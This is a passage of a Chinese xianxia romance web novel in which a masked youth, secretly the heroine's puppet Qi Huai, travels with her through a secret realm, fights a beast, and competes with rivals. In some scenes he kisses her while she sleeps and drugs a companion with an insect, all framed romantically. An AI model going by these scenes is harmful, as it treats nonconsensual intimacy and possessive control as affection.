“为什么不能只看着我了……”祁淮喃喃低语,指尖缠绕着她的发丝,温柔地勾了勾指尖。 “主人若是要选,选我好不好?” “我能做得比他更好。” “不要选他,我可以取代他的。” 他唇瓣若即若离地擦过宁瑶的唇角,最终小心翼翼地落在她的唇尾。 祁淮偏过头,眼底翻涌的暗芒几乎要撕破那层精心维持的,看似平静的假象。 这个吻骤然加深,带着一丝不容抗拒的占有性撬开她的唇齿,如同在属于自己的领地上刻下印记。 良久,他才缓缓退开,温柔地吮去她唇上残留的水光。 哪怕是不曾彻底拥有。 这一刻的心中难以言喻的锥痛,他似乎要实实在在失去了他记忆中的小猫一次。 这种近乎陌生的感觉,祁淮微歪头带着一丝疑惑,执起她垂落的手,轻轻吻过指尖,将手按放在心口。 暗沉的目光始终流连在她恬静的睡颜上,难言的苦涩感蔓延直至被她掌心温热驱散。 察觉到宁瑶有醒转的迹象,祁淮立刻收起阴郁神色,恋恋不舍松开手将她放下。 宁瑶迷迷糊糊醒来时,发现自己正平躺在一处冰凉的石台之上。 她舒服地伸了个懒腰,感觉体内燥热的灵气竟平息了不少。 忽然想起什么,猛地坐起身,手忙脚乱地检查自己的衣物。 衣裳完好无损,更没有小说里常写的什么“屁股疼”的状况,顿时长舒一口气,拍了拍胸口。 脑袋里像塞了一团浆糊,身上的异样感说不清道不明,似乎忘记了一段重要的经历。 只隐约记得中了毒藤的媚毒后,有人从洛子晟手里把她抢走,救了她一命。 她好奇地环顾四周,整个山洞壁上点缀着亮晶晶的粉紫色晶石,宁瑶眼睛一亮,挺好看的。 就在这时,一道黑色的人影悄无声息地从她身后笼罩下来。 她猛地回身出掌,在看清对方装扮的瞬间僵在原地。 此人戴着红黑相间的恶鬼面具,白牙森森,将整张脸遮得严严实实。 “人吓人,会吓死人……”宁瑶抚着胸口,心有余悸。 祁淮原本伸出的手顿在半空,见她下意识地后退。身形微微一僵,硬生生收回手,调转身子后退一步。 仿佛戴上新的一层面具的那一刻,他就又变回了那个见不得光,不能为他人道之的苗疆少年。 祁淮抬手压了压帽沿,半晌,才从面具后闷闷地飘出一句:“抱歉了,姑娘。” 宁瑶揉了揉额角,努力回想昏迷前的片段,确实是他出手相救。 脑海思绪翻涌记忆又模糊着不记得过程,可不知为何看着他,还有些气息不稳的闷气感。 宁瑶半天找回声音,仰头望他,试探性问道:“我们素不相识,你为何救我?” “我?”祁淮微歪着头,舔过咬破的唇角,勾起漫不经心的笑,“见师妹生得好看,我这人平时‘爱多管闲事’。” 莫名被他话实打实的噎了一下,宁瑶利落地跳下石台,不死心地走到他面前:“算你有眼光,不过这理由实在……” “句句属实。”祁淮广袖一拢背在身后,指尖在身后攥得发白。 宁瑶狐疑地抱臂看了他一眼,少年身量颀长,宁瑶仰头只能看见他下颌紧绷的弧度,还有那张遮面的面具。 看起来倒是坦荡的很。 祁淮故作从容,佯装毫不在意地将视线从她脸上掠过,只停留了一秒。 宁瑶心头莫名一跳,顿时有似曾相识的感觉翻涌。 可这少年玄衣黑发,而她的傀儡,身着深蓝色长袍,黑发自中渐染为幽深蓝色。 两者确实外形有些巧合的相似之处,但性子一点不像。 她的傀儡虽“活人感”虽足,终究不是真活人,更不会像这人般带着满身疏离又危险的气息。 估计是她是思念祁淮在身边时日,才会有这般错觉。 看谁都像他吧。 宁瑶甩开杂念,眉眼一弯,笑得带着几分真挚:“多谢这位师兄相救。” 祁淮听过宁瑶太多次道谢,唯有这次听见了分外郁闷。他歪头时,零星的银饰静默无声:“举手之劳。” 眼见宁瑶摸出眼熟的灵石锦囊,祁淮觉得心口被什么东西狠狠一扎。 ——她是不是对谁都这般慷慨? “谢归谢,师兄恩情宁瑶记下了。”宁瑶将锦囊塞进他手中,“我叫宁瑶,宁为玉碎的宁,瑶林玉树的瑶。” 祁淮接过攥在掌心良久,半垂长睫微颤,玩味的笑意道:“怀无岐。”修长指尖蓄着灵气,凭空写出三个字。 “怀无岐,嗯,记住了。”宁瑶转身探去,确认洞外安全,回眸时,发丝拂过上扬的嘴角,“师兄日后若有需要,尽管来寻我。” 眼见鹅黄色身影走的毫不客气,祁淮快步追上,距宁瑶三步处刹住脚步。 宁瑶闻声回眸,茫然困惑地眨了眨眼。 “此处妖兽聚集甚多。”祁淮状似随意地靠近,微偏着头勾起唇角,将眼底暗芒尽数掩去,“不如同行,宁师妹?” 他是不是也会这般唤你…… 祁淮眼底阴郁凝聚了一瞬,转眼又消失的无踪。 宁瑶会意这岐师兄是要与她结伴而行,又是自己的恩人,转念一想,她点头道:“也好。” 果然如他所言,先前一路太平让她生出错觉来。在这短短半日里,他们竟接连遭遇了两只身法诡谲、招式刁钻的妖兽。 虽不算多么凶悍,却着实难缠。 掌心灵火散去,她抬手拭去额间薄汗,看向怀无岐面颊的面具,看不透他的神情,眸中闪着好奇的微光:“没想到无岐师兄的风刃如此凌厉,不知师承何处?” 怀无岐操控的风刃专攻妖兽要害,与她的九幽灵火配合得天衣无缝。 “不过是寻常外门弟子罢了。”祁淮轻声回应。 这还算寻常外门弟子? 宁瑶若有所思地颔首,每个人都有自己的秘密。她向来懂得分寸,也不再追问。 祁淮眼底掠过一丝笑意。 深知这看似乖巧的小猫,实则通透得很。若说这算是神经大条的话,那实在算是可爱至极。 见四周暂时安全,宁瑶目光被不远处挂满灵果的果树吸引,腹中不免咕咕一叫。 她正要开口,侧眸就见怀无岐手法娴熟地剥开妖兽皮毛,取下一块鲜红的肉块。 她没忍住背过身,差点干呕,故作镇定地维持着仪态,道:“这是做什么?” “此兽以速度见长,大腿处的肉质最为鲜嫩。” 意会“好吃”二字,宁瑶顿时眼睛发亮,手脚麻利地转身去拾柴生火。 她向来不擅长杂务,往日都是祁淮代劳。 手上动作微愣,一时分了心,粗糙的树枝便在她白皙手背上剐蹭一道小血口。 细密的刺痛感,宁瑶轻轻抽气,本能地将受伤处含进口中。 祁淮回眸撞见这个动作,喉结不自觉地滚动。 快步上前,轻轻握住她的手腕将手从唇边移开。指尖似有若无地触过她的唇,指尖仿佛残留着那里温热的湿意。 “需要包扎。” “真的不用……”宁瑶疑惑地睁大眼,干笑着想要抽回手,却敌不过对方的力道。 转眼间伤口已被他妥善处理。 宁瑶怔怔地望着他,祁淮偏头垂眸,眼底漾开掩不住的笑意:“再晚些,这伤口可就要愈合了。” 宁瑶无语凝噎,终是忍不住笑出声来,实在不明白他方才为何急切。 “多谢师兄,再晚些确实就要痊愈了。” 然而祁淮包扎完毕便后退半步,又恢复了往日那般云淡风轻的模样,仿佛方才的急切从未发生过。 篝火噼啪作响,跃动的火光投下摇曳的影子。 宁瑶抱着膝盖坐在火堆旁,悄悄瞄了眼对面沉默的少年。 唉,要是祁淮在就好了,她早该叽叽喳喳说个不停了,可换一个人,她自是多了一丝顾及。 “吃点东西。”少年递来一串烤得金黄流油的妖兽肉。 宁瑶眼睛一亮,立刻把所谓的拘谨抛到九霄云外。 接过肉串,她凑近闻了闻确认没有奇怪的味道,眼波一抬,飞快瞥了怀无岐一眼,这才小口地吃起来。 入口鲜嫩,宁瑶咬一口便满足地眯起眼,动作优雅得像只猫。 祁淮敛眸,将这一幕尽收眼底,唇角微弯,似笑非笑地抚了抚面具。 他是该高兴宁瑶只在祁淮面前肆无忌惮,欣慰小猫并未轻信眼前的“他”。 还是该失落,她对带上新面具的自己,这般警惕疏离? 宁瑶吃完后,用手帕擦了擦嘴角,又走去溪边洗手。忽地竖起耳朵来,缥缈的呼唤乘夜风传来,一声接着一声。 “有没有人啊——”“有没有人啊——”宁瑶站起身,循着声音来源往树林深处走去。 两簇灵火轻盈跃动,无声环绕在她身侧,映亮前方昏暗。 宁瑶借着光亮小心上前,只见地面豁开一处深坑,断断续续的呼救正从底下传来。 她偏头向下望去,坑底蜷着个灰扑扑的藕粉色人影。宁瑶眼底刚亮起的好奇光芒霎时熄了,转身毫不留恋就要走。 “哎——别!宁师妹,我瞧见你啦!”夜烁卿忙不迭嚷起来,嗓子都喊得发飘。 宁瑶驻足,回身挑眉俯视,“夜师兄怎掉进这坑里了?” “宁师妹,你瞧这坑……大吗?” 夜烁卿眨巴眼睛,努力想挤出一个无辜的表情。 宁瑶抱臂而立,瞧他这副狼狈样,全然不见平日花孔雀的倜傥,不由莞尔:“挺大的,正合适你。” “求师妹行行好,捞我一把吧。” 夜烁卿立刻顺杆爬,声音软了几度,“不知哪个缺德弟子,在此设了禁制,我一脚踩空就栽了。这阵法古怪得很,我是半点解不开。” 作者有话说:[三花猫头]祁淮给自己取的名字,相信慧眼识珠的小宝们看出来深意了~岐:通假字,意思:分叉,不一致。 第28章 夜烁卿说得可怜极了,还举起衣袖假意擦拭眼角,实则偷偷瞄着宁瑶的反应。 宁瑶被他反应逗得噗嗤一笑,目光扫过泛着微光的禁制。听夜烁卿三言两语解释完,她挑眉:“所以你是说,这结界只能从外面破开?” “正是如此,宁师妹不会见死不救吧?” “你倒不怕我转头就走?”宁瑶慢悠悠沿着坑边踱步,鞋尖轻踢开几颗碎石。 夜烁卿闻言眨了眨眼,信手抽出别在腰间的玉笛轻转:“怕什么?” “我赌宁师妹舍不得丢下我不管。”话音里带着调侃,眉眼间却漾着笃定的笑意,莫名自信宁瑶不会对他弃置不顾。 宁瑶看了看他自信满满的小动作,无语地轻笑一声。 见她当真留下来认真的研究破阵之法,夜烁卿满是感激地突然拿起笛子,“为表谢意,师兄这就为你奏一曲破阵乐,你便找到薄弱点,从外击碎即可。” 夜烁卿说着已将笛抵在唇边,她被这突如其来的演奏惊得嘴角猛地一抽,望着坑底那个灰扑扑的藕粉色身影,一时不知该作何表情。 这位师兄倒真是个乐子人,都这境地了还有闲情逸致吹笛子。 不过,不得不承认,这曲调确实空灵悦耳。 “你”她刚要提醒他当心笛声招来不速之客,旁边灌木丛突然传来窸窣响动。 宁瑶瞬间绷紧神经,掌心凝聚的灵火,蓄势待发。 一道颀长身影自暗处缓步而出,墨色衣摆已有几分湿意。视线像是被夜色染上几分潮湿,唇畔凝着似笑非笑的弧度。 “岐师兄?”宁瑶讶然。 “大半夜听见有人吹奏《百兽朝凰》”他目光轻飘飘掠过坑底僵住的夜烁卿,“特地来看看,是哪位附庸风雅的雅士在此:招蜂引蝶。” 祁淮负着双手,慢悠悠晃到坑边。 靴尖碾了碾松软的泥土,碎土簌簌滚落,故作踉跄地后退半步,面具下扬起狡黠的笑。 湿泥不偏不倚,水灵灵砸在夜烁卿发顶。笛声戛然而止,夜烁卿手忙脚乱掸着衣袖,整理仪容。 他目光幽怨,掠过宁瑶,最终定格在戴面具的少年身上。心底不以为意,带着个面具故作神秘,和那傀儡一样倒是无趣的人。 “宁师妹,”夜烁卿嗓音里故作可怜,仰头望着他们,“我当真无添乱之心。” 宁瑶咬住下唇,肩头轻颤,终究没憋住笑出声。怀无岐这张嘴,倒是不可小觑。 “岐师兄,你看看,怎么给他捞起来?” 祁淮俯身端详深坑,面具下传来轻快的两个字:“埋了。” “我正有此意。”宁瑶仰面笑着附和。 “别别别!”夜烁卿在坑底急得转圈,回应他的只有又落下的碎土。 宁瑶与祁淮交换眼神,她眨了眨眼,指向结界薄弱处:“劳烦师兄看看那儿?” “嗯。”祁淮负手沿坑缘踱步,行走之处总有泥土“失足”坠落。 夜烁卿抬头望着簌簌落土,默默将笛子抱进怀里。 待结界破碎时,昔日俊朗的仙门公子已成了泥人。 宁瑶憋笑地厉害,随手递来一方素帕,夜烁卿怔忡地接过,擦拭脸颊时忽的一笑,他咳了咳,这才找回声音道:“多谢宁师妹,不知这位是?” “怀无岐。”少年轻慢地应答,阴郁眸光在他手上的素帕掠过,心底不免燥郁阴沉。 夜烁卿摩挲着沾泥的笛身,对这个名字没什么印象,大抵他是个名不经传的外门弟子吧。 视线不期而遇,宁瑶保持微笑,悄悄后退半步,对脏兮兮的某人保持点距离。 限制文原著里,夜烁卿是为云冉冉掏心掏肺的痴情男二,夜·背景板·恋爱脑·烁卿,少沾为妙。 唯恐万一这剧情不可控,虽然现在偏的十万八千里了。 宁瑶那点小动作,早就被祁淮尽收眼底。 他正打算找个借口带她远离这夜烁卿,脚下大地猛地一颤。 霎时间,漫天的飞虫如乌云压顶,从林间深处突然汹涌而来。 见到如此多的虫子,宁瑶脸色微微一白,指尖灵火刚要窜起,一只微凉的手轻轻按住。 隔着那张狰狞的面具,她看不见怀无岐的表情,只听他嗓音低沉,带着一种别样的安抚:“别急。” 祁淮抢先一步凝起灵盾,将她护在身后。 宁瑶虽不解,还是敛了灵力。 那些萤火虫般的小飞虫对她们视若无睹,争先恐后地逃窜,仿佛在躲避什么可怕的东西。 密林深处传来窸窣声响,一条数尺长的琴虫现身。 琴虫兽首蛇身,薄如蝉翼的青色翅膀,每次振动似乎带着阵阵琴音。琴声直钻耳膜,三人不约而同捂耳。 宁瑶瞥了一眼,悄悄咽了咽口水。 青色飞虫真大一只。 “它的翅鸣会惑乱心神。”祁淮目光掠过宁瑶,不动声色地将她护得更紧。 夜烁卿执笛迎上,清越笛声破空而出。他身为音阵双修,这一笛正打在琴虫飞行的节拍上,硬生生打断了它的节奏。 琴虫暴怒,长尾如鞭扫来,三人堪堪避过。 宁瑶的灵火击落它,琴虫身形一晃,落地后又凭空消失。 “去哪了?”宁瑶警惕地敛眸,察觉空气波动,下意识侧身拉着怀无岐闪避。 方才两人站立之处,赫然是一道深坑,琴虫一击落空,再次隐没身形。 “好险好险。”宁瑶拍着心口,眨了眨眼,竖起耳朵捕捉风中细微的琴音,“这妖兽还会声东击西。” 夜烁卿的笛音紧追不舍,祁淮漫不经心地抚过腕间黑色迷离小铃铛。面具下,他唇角微勾,目光幽深,看似随意扫过空气涟漪,捕捉到了异样。 敢动宁瑶,哪怕是他不厌的虫,此刻也碍眼的很。 风刃呼啸着席卷,顷刻间,全场节奏尽在祁淮掌握。 琴虫正欲振翅逃窜,凌厉风刃劈在青翅上,速度便肉眼可见地迟缓下来。 宁瑶原是听声辨位,捕捉不到身影,见琴虫受伤露了破绽,足尖轻点便转至其后。掌心凝聚的火球砸在染血的翅翼上,琴虫发出短促的哀鸣,坠落至地面。 翅膀震颤的迷幻琴音戛然而止,三人眼前的幻象尽散。 “先前是琴虫的影子,只有这一只是真实的。”祁淮负手缓步停在琴虫面前,垂眸审视着蜷缩的伤虫。 “多亏宁师妹和怀师弟出手了。”夜烁卿收了笛,拭去额角不存在的汗,“否则刚刚深坑的情形,我怕是已成它腹中餐了。” “琴虫只食草木精华。”他回眸,视线仍是带着些意味深长地看向宁瑶。 这类生灵素来独居避世,连他炼蛊都难觅其踪,眼前这只雄虫主动袭击他们…… “不对劲,这里似乎少了一只。”祁淮刻意提醒道,“附近定有雌虫。” 宁瑶眸光好奇地探查奄奄一息的琴虫,强迫自己移开视线,当机立断点头道:“分头找找。” 祁淮转身刹那,袖中黑影悄无声息滑入深草。 待众人离去后,一黑蛇自阴影游出,尾尖轻勾昏迷的雄虫,留下金丹微光。虫躯轻颤,瞬息吸尽丹药,随蛇影隐入林深不知处。 三人商量分头寻找雌虫,怀无岐与夜烁卿却闻言各守一方,看似分散,实则形成合围之势。 宁瑶左右张望,发现两人始终保持着五米距离。心底默默腹诽,这哪算什么分头行动?重新定义分头行动。 约莫一炷香后,众人抵达雌虫所在,只见母虫已气绝身亡。原本蕴养虫卵的灵草被尽数毁去,满地狼藉中半枚虫卵都未曾留下。 “来迟一步。”宁瑶摸了摸泛起鸡皮疙瘩的手臂轻叹。 祁淮微歪头打量一番此处,漆黑幽深的眸子微眯,扶了扶面具边缘,压下情绪莫名冷哼一声,“走吧。” 宁瑶站在怀无岐身侧,忽然感到周遭空气无端凝滞了几分。她侧目只见怀无岐垂在身侧的指节微微收紧,莫名觉得他周身说不清道不明的压迫感似乎沉了几分。 ——真是个捉摸不透的人。 三人结伴在天一秘境中走走停停,倒也各有收获。 夜烁卿是天选男二,机缘法宝层出不穷。 怀无岐实力深不可测,身法攻守兼备。 唯有宁瑶,兢兢业业地扮演着“捡漏达人”的角色。 身为一个清醒的恶毒女配,宁瑶忽然灵光一现。 既然主角吃肉她喝汤,何不充分利用特点,何不充分利用“主角光环”,等着多“爆”点装备。 本着这朴实的想法,宁瑶决定暂时安心与这两人同行。 行至一条溪流旁,始终沉默的祁淮忽然开口:“歇息片刻。”他的目光不经意地掠过宁瑶沁出细汗的额头。 宁瑶“如蒙大赦”,还是顾及自己的形象,寻了块平整石头坐下。 天一秘境禁御剑飞行,她的双腿都快不是自己的了。 见怀无岐递来几枚灵果,她眼睛一亮,道了声谢,便接过来咬了一口,清甜汁水瞬间润泽了喉咙。 祁淮指节微动,强自压下想替她拂开颊边碎发的冲动。 视线转向一旁姿态风流的夜烁卿时,眸底那抹阴郁又深了几分。 这人当真是甩不开。 宁瑶恰好也望向夜烁卿,只见他挺直腰背,风骚地理了理衣袖,玉笛轻抵肩头,唇角勾起自以为迷人的弧度:“宁师妹这般看着我,可是有话要说?” “你臭了。”宁瑶说得一脸坦然,语气真诚得让人无法反驳。 夜烁卿表情一僵,慌忙低头嗅了嗅,果然闻到若有似无的泥腥味。 他当即转身冲向溪边,嘴里不忘念叨着:“可不许偷看。” “谁要偷看啊。”宁瑶笑得莞尔,实际上给他立了一道屏障,便自顾自地啃着灵果。 脑中灵光一闪,顿时想到有人调查一事还散播了她的事情,决定试探他一番。 夜烁卿不多时带着水汽回来,一身藕粉长袍被灵力熨干透了,抢在祁淮之前想挨着宁瑶坐下。 祁淮唇角掠过一丝无声的讥诮,心底阴郁的恨不得把这家伙赶的远远的。 足尖轻挑,一枚石子破空而去,正正击在夜烁卿小腿上。 夜烁卿微痛得倒抽一气,向一旁脚下一绊,踉跄了几步。在宁瑶疑惑转头的瞬间恢复了清风朗月的姿态,只从齿缝里漏出一句:“怀师弟当心脚下。” “是啊,脚滑。”祁淮低笑一声,大剌剌地挤到宁瑶身侧坐下。 他的心情顿时极好,极为自然递来烤鱼,宁瑶眼睛一亮接过,吃得两腮鼓鼓,心底受用至极,指尖雀跃地蜷了蜷。 该是他的,永远都是他的。 作者有话说:琴虫来源《山海经》 第29章 祁淮眼底狡黠的微光,映火光中捉摸不透。 宁瑶支着下巴,不经意侧眸,篝火跳动的火光映在怀无岐那张恶鬼面具上,莫名察觉出他此刻心情不错。 夜烁卿幽怨地瞟了怀无岐一眼,挨着宁瑶另一旁坐下,往火堆丢着石子撒气。 篝火旁,一时只剩柴火噼啪,三人细微的咀嚼声。 夜烁卿眼珠一转,见宁瑶身边没跟着那碍眼沉默的傀儡。有意借题趁机搭话:“宁师妹,这趟怎么没见你使唤那个傀儡?” “留在宗门了。”宁瑶边吃边答,莫名有些被噎住似的,心底压下的情绪清晰了几分。 想起这一路她亲力亲为,顿时怀念起有祁淮在她身边的日子。要是祁淮在,早该捧着水,轻声唤她“主人”了。 吃的烤鱼,怪油的。 正想着,一只骨节分明的手握着竹壶递到眼前。宁瑶顺着苍白有力的手腕抬头,对上熟悉的恶鬼面具,轻笑道:“多谢岐师兄。” 接过竹壶喝了两口,可仍是觉得手里的烤鱼彻底没了滋味,忍不住地小声叹气。 “挺想念我的傀儡。”祁淮在身边的日子,凡是有他在的地方,宁瑶的生活起居幸福指数持续上升。 果然由俭入奢易,由奢入俭难啊。 “啪嗒。”祁淮手中正要添进火堆的枯枝,在他手掌应声而断。 两人抬眸,不约而同地看去。 祁淮指尖似不经意地扶了扶面具边缘,面具下的唇角无声上扬。 所幸无人看得见,一双漆黑眼眸,在面具后似有微光划过,侧眸对上两人好奇的视线,“无事。” 愉快地指尖轻轻蜷缩,眼底雀跃的微光驱散了凝聚的阴郁。连旁边那个不顺眼的夜烁卿,此刻看起来也……格外不顺眼。 若没有这个多余的人在…… 他生出一股冲动,想立刻告诉宁瑶他就是祁淮。 可他不能。 人心贪得无厌,隔着肚皮难以捉摸。 他懂得此道理的一刻便知晓,他正是最贪心的那一个。 祁淮垂下眼帘,眸中暖意倏忽散去,又变回那片深不见底的幽暗,眸光紧紧锁在身侧鹅黄色人影上。 陌生的情绪来得汹涌,似乎以往从未有这般奇怪的感受。 各种滋味实在难言,且只有他一人知晓,独自吞咽。 宁瑶吃完最后一口烤鱼,用绢帕仔细拭了拭指尖。 眼见时机差不多,她装作不经意地侧过头,朝夜烁卿绽开笑容,看起来毫无攻击性。 宁瑶眼底带着恰到好处的好奇,“听说夜师兄号称天道宗‘百事通’,是不是宗里什么事都瞒不过师兄的耳朵?” 夜烁卿正揉着小腿上不大的淤青,闻言立刻直起腰板,玉笛在掌心故作帅气转了个圈,语气笃定:“那是自然。” “夜师兄可曾听说……”宁瑶声音轻了几分,笑意渐渐收敛。眼尾垂下,流露几分恰到好处的委屈之意,有意追问,“入秘境前,有些关于我的风言风语,可是在宗内流传?” 余光紧紧盯着夜烁卿的神情,不放过丝毫变化。 夜烁卿挠了挠头,玉笛不经意间轻点颈侧:“这事我确实有所耳闻。” “哦?”宁瑶眼中闪过亮光,没想到真能套出话来,不愧是自带“男二光环”的角色。 “是谁传的?”宁瑶托腮继续追问。 夜烁卿瞟了眼怀无岐,压低身子凑近,见鹅黄身影同样默契地倾身过来,眼底掠过一丝不易察觉的笑:“我说了,宁师妹可不许生我的气。” 宁瑶冲夜烁卿弯了弯唇:“好。” 眼见两人凑得越来越近,低声说着悄悄话。 祁淮指尖下意识掐进掌心,想拂过腰间四角铃铛,又怔住,他早亲手取下来了。 他半垂长睫,侧耳听着零碎字句,尝试拼凑出来龙去脉,呼吸不自觉地放轻。 心底的燥郁翻涌,眼底暗芒划过。她对夜烁卿唇角弯起,心底万般不爽…… 夜烁卿眼见勾起了宁瑶好奇心,声音不大,可足够两人听清道:“明御,你那位三师兄。他特意去皇城打听你的事,本是关心之举,奈何……他酒后失了言,这才一传三,三传百。” “明御?”宁瑶陡然听到明御二字,一时怔住。 实在是这男三,三师兄明御,存在感偏低。除了偶尔授过几次课,他们几乎没有交集。 宁瑶暗自叹了口气,无奈地蹙眉。 即便她不走原著,给男女主使绊子的老路,事情也非一帆风顺。 麻烦依然是会“入室抢劫般”破开门来。 这世上哪有密不透风的墙? 宁瑶撇了撇嘴,指尖收紧,有些牙痒痒,气的咬了咬牙,“多谢师兄告知。” 再抬眼时,又挂上惯常的笑容。只是这一次多了勉强之意,随即移开视线看向火焰。 夜烁卿后知后觉,意识到自己说多了话。 明御是她的师兄,何况她的往事被摊在众人眼前,像是剥去外衫露出一层无法遮掩的狼狈。 宁瑶神情变化了一瞬,神情依旧坦荡,起身道:“我去溪边濯个手。” 说完便走向不远处的溪石,眸色一寸寸沉了下去。 月光洒在潺潺流水上,宁瑶随手捡起一块扁石打了个水漂,石子在水面跳跃三四次便沉了下去。 她打得不好,记得公主娘亲能轻松打出七八个水花,扁石像跳舞般掠过水面。 此番思绪微微一乱,总会想起这道遥远的身影。想起从前的“记忆”,甚至她穿书前的记忆。 宁瑶正抱着膝盖盯着散漫月辉的水面,身后枯叶忽地一响。 耳朵微动,一道极轻的脚步声停在几步之外,不再靠近。 一时间,月光落满两人周身。 宁瑶并未回眸,那人也并未开口。 直至宁瑶整理好心情,回眸看去。 怀无岐斜倚在树下,恶鬼面具泛着泠泠清辉,语气颇是意味深长道:“方才还在笑,现下怎么在这里……” 宁瑶望着少年在月光下苍白得过分,露出的肌肤,起身将一枚石子轻抛进他怀里。 祁淮不偏不倚地接稳,指尖禁不住摩挲把玩,扁石上尚有一道残存的体温。 “岐师兄,会打水漂吗?”宁瑶又捡起脚边的扁石,在掌心掂了掂。 “自然。” “那来一局?”她仰起脸,笑弯成月牙。 祁淮保持着微妙的安全距离,站在三丈外的柳荫下,影子斜斜投在一人身上。似是种难言且无声的陪伴。 祁淮声音清越如泉:“既要比试,不妨添个彩头。” “好主意,正合我意。”宁瑶站起身,拍去罗裙沾的草屑。唇角抿了抿,视线带着不易察觉的紧张看向水面。 怀无岐并指起誓的模样很标准,可石子只点出两圈涟漪,便“咕咚”一声沉入河里。 “噗——”宁瑶忙用袖口掩住半张脸,心情一下和坐过山车,肩头止不住轻颤,“岐师兄且看我的。” 她腕间使了五成力道,只比怀无岐就多一个便行,又不落了怀无岐的颜面。 可这枚石子超乎寻常,竟接连点过八次水面,惊起连串脆响。 宁瑶惊喜地抬眸,笑盈盈地眨了眨眼,“岐师兄,承让了。” 祁淮垂在袖口的指尖,一缕灵力消散,少年迎上她的目光。 宁瑶笑得眉眼弯弯,像只偷了腥的猫,明媚张扬。 与他周身缠绕的沉郁从不相同。 祁淮嗓音不经意地染上几分笑意,“宁师妹想要什么彩头?” 宁瑶踮起脚尖,笑盈盈地视线瞟向面具下的缝隙:"师兄,让我偷瞧一眼面具下的面容呗,就一眼。” 祁淮一手扶住恶鬼面具的边缘,喉间溢出低笑:“关公眉,绿豆眼,歪嘴,还带道疤,怕吓哭小师妹。” 祁淮编了个理由,声音故作肯定,放轻声音补了句,“实在没什么可看的,师妹换一个彩头。” “对不住。”宁瑶知晓一时失言,掏出青玉瓶塞进他怀里,“这是上品生肌丹,师兄拿着。” 祁淮捏着药瓶,忍不住摩挲瓶身,轻笑道:“千金难求的宝物,师妹倒是舍得。” “死物罢了,用给需要之人,才能发挥它的价值,师兄尽管拿着。” 她转身时,却没看见身后人阴郁的眸光。似是无声刺痛,祁淮心头郁闷,良久忽的一笑,“师妹的彩头了?” 宁瑶已经走出几步,“彩头先欠着呀,先回去睡觉。” 祁淮默然跟在她影子里,落在她身后几步。 看着眼前落满月辉的鹅黄色身影,月光将两道身影拉长交汇,他加快脚步同她并肩而行。 回到宿营地,他静静看着宁瑶随意打了地铺,夜烁卿抱笛靠树闭眼进了梦乡,他坐在火堆旁,往里面加了几根柴火。 两人呼吸渐匀,祁淮无声靠近,单膝跪在铺边。指尖悬停在宁瑶腮边一寸,最终只将滑落的被角轻轻掖紧。 火光映亮祁淮的瞳孔里翻涌的暗色,晦暗的,挥之不去。 睡梦中,宁瑶体内的灵气又毫无征兆地翻涌,疼得她皱了皱眉。 微凉的指尖落在她的眉心,微光泛起,祁淮垂眸,替她安抚着体内躁动的灵气,她脸颊的微红散去,这才舒服着重新沉沉睡去。 眸光落在宁瑶颈后,白皙干净。 似随着早已淡去的印记,宁瑶也不再与他有任何联接。 心底说不清道不明的燥郁翻涌上来,几乎要将他吞没。 祁淮抬手,指尖顶开面具的一角,俯身,微凉的唇瓣印上她的温热。 避免夜烁卿醒来,他遣了一只蛊咬了他一口。 起初他只想触碰,随即像是尝到了唯一的解药般,本能地想要攫取更多,不由加深了这个吻。 唇齿交缠间,都是在失控的边缘徘徊,连他自己都未曾察觉的眷恋。 * 晨光熹微。 宁瑶伸着懒腰醒来,唇角似被什么小虫子咬了。 她咂了咂嘴,唇瓣传来一阵酥麻,伸手一摸竟肿了,“什么毒虫子这般嚣张……”宁瑶小声嘟囔,舌尖无意识地舔过那处微胀,起身收拾行装,准备出发。 祁淮在一旁,漆黑眸光掠过,见宁瑶毫无所觉的模样,面具下的唇角无声扬起。 他眼底泛起狡黠的微光,垂眸捻了捻指,低笑一声。转身时脚步都是雀跃,宁瑶正系着行囊带子,忽有所感地回头就见一道去河边的玄色背影。 距天一秘境重开只剩三日,这些天不少弟子不堪重负,接连捏碎传送珠离去。 他们三人能坚持到现在,全靠彼此照应。 刚干掉了一只妖兽,苦战妖兽的山洞处,障眼法的结界应声而破,露出一株七色灵花,每一色流转着不同属性的灵气。 宁瑶正要伸手触碰,打算三人平分,身后传来两道脚步,清脆呼唤传出:“夜师兄,宁师姐!” 宁瑶脊背一僵,敏锐地察觉到身后的视线,回头一瞧,果然见到了云冉冉和洛子晟站在不远处。 “好巧,你们也还没离开?”云冉冉上前笑意盈盈,眸光却掠过看向灵花,面露喜色,“七色花,可提升灵气,也可助人突破筑基期。” 夜烁信步上前,正好挡住云冉冉的视线,“自然,我们三人可是遇强则强,运气极好。” 祁淮眼尾一挑,视线掠过那张与自己如同镜中倒影的脸,见对方目光正毫不避讳地锁在宁瑶身上,心口燥火灼得他几乎发狂,恶鬼面具下唇角勾起一抹冷笑。 真是不死心…… 他不着痕迹地靠近宁瑶,故意侧首,向她懒懒发问:“宁师妹,这两位是?” “天道宗宗主的四弟子,洛子晟。他身旁是丹修云冉冉。”宁瑶简单介绍完,便收回目光。 她刚突破到筑基,周身灵气尚未完全内敛。 这七色花,她势在必得。 “这株七色花,可否让于我?”洛子晟倏然开口,眸光却一眨不眨看向宁瑶。 作者有话说:预收文多多,作者收藏,同样很重要,快冲呀家人们[三花猫头]ps:不知道脑子在想什么,打“的”却变成“是”,很命苦了,下一章打算加更,会肥[狗头叼玫瑰] 第30章 “师妹,可否过来商谈?” 她脸上的笑容一僵,眼底藏着几分刚才与妖兽一战后的倦意。双臂环抱,不偏不倚地迎上洛子晟清冷的目光。 宁瑶眨了眨眼,刚要拒绝,就见怀无岐上前一步遮掩她的半个身形,“这恐怕不行。” 洛子晟明显一怔,目光在宁瑶与面具少年之间来回扫视。 祁淮靠近一步,宁瑶没有躲闪,藏在阴影下的唇瓣无声扬起。 洛子晟早已喉头一哽,一股无名火窜上心头。他下意识上前想将二人隔开。 宁瑶笑得眉眼弯弯,语气却坚决:“洛师兄,请留步。” 没料到宁瑶会拒绝得如此干脆,洛子晟面上依旧没什么表情,只是对着她如今变化,微蹙起眉:“我可用同等之物交换,灵宝、丹药,随你……” “打住。”宁瑶示意洛子晟看向身侧的两位,“七色花是我们三人共同发现,自然要平分。” 被晾在一旁的有一会,沦为“背景板”的夜烁卿倒也不恼,指尖转着玉笛把玩,轻笑一声:“洛师兄,这花让不得。你也知道我这半吊子修为,全靠着丹药堆砌。” 宁瑶瞥了夜烁卿一眼,赶紧低头掩饰嘴角。 这人说起瞎话来,倒是面不改色。 